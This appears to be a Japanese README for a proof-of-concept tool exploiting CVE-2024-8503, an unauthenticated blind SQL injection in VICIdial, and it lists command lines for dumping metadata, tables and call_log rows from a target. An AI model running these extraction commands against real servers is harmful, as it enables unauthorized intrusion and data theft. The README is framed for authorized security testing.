
VICIdial CVE-2024-8503 向けの未認証時間ベースブラインドSQLインジェクションPoC。メタデータ抽出、再開可能なスキャン、厳格な安全制限を備えています。
VICIdial の VERM_AJAX_functions.php エンドポイント(CVE-2024-8503)に対する、認証不要の時間ベースのブラインド SQL インジェクションの概念実証(PoC)です。このプロジェクトは、許可されたセキュリティテスト、検証、教育のみを目的としています。
CVE-2024-8503 は、VICIdial における認証不要の SQL インジェクションです。巧妙に細工された Basic Auth のユーザー名の値が、VERM_AJAX_functions.php 内の脆弱なクエリロジックに到達する可能性があります。この PoC は、時間ベースの推論を使用して悪用可能性を確認し、管理された方法で限定的なメタデータとテーブルデータを抽出します。
このリリースでは、厳格な概念実証(PoC)の制限を適用します。
requests依存関係をインストールします:
pip install requests
ネットワークリクエストを行わずに設定を確認するためのローカルセルフチェックを実行する:
python3 CVE-2024-8503-POC.py --self-check
基本的な非対話型スキャンを実行する:
python3 CVE-2024-8503-POC.py --url https://target.tld
対話モードは、オペレーター主導のテスト用の独立したワークフローです。単一のコマンドを実行する代わりに、抽出タスクを手動でステップ実行したい場合に便利です。
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
対話メニューは、メタデータ抽出、テーブルとカラムの探索、手動抽出、自動抽出、カスタムクエリ、再開可能なフルスキャンをサポートしています。
対話メニューに入らずに特定のタスクを実行したい場合は、これらのコマンドを使用します。
メタデータを抽出:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
テーブルを一覧表示:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
テーブルのカラムを取得:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
特定のカラムを抽出:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
テーブルデータを自動抽出:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
フルスキャン:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
カスタムクエリ(SELECT のみ):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
オプションフラグ:
--path: エンドポイントパスを変更する(デフォルト: /VERM/VERM_AJAX_functions.php)--skip-vuln-check: 最初の確認プローブをスキップする--export: 結果を保存する(メタデータ/フルスキャンは JSON、テーブルデータは CSV)進行状況は自動的に次の場所に保存されます:
.vicidial_scan_state.json
以前のスキャンが検出された場合、スクリプトは再開または状態のクリアを提案します。
LICENSE ファイルを追加する必要があります。この README は MIT を前提としています。このツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。所有していないシステムをテストする前に、明示的な書面による許可を得る必要があります。作者は、このツールの誤用または損害について一切の責任を負いません。
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については、リポジトリレベルの LICENSE ファイルを参照してください。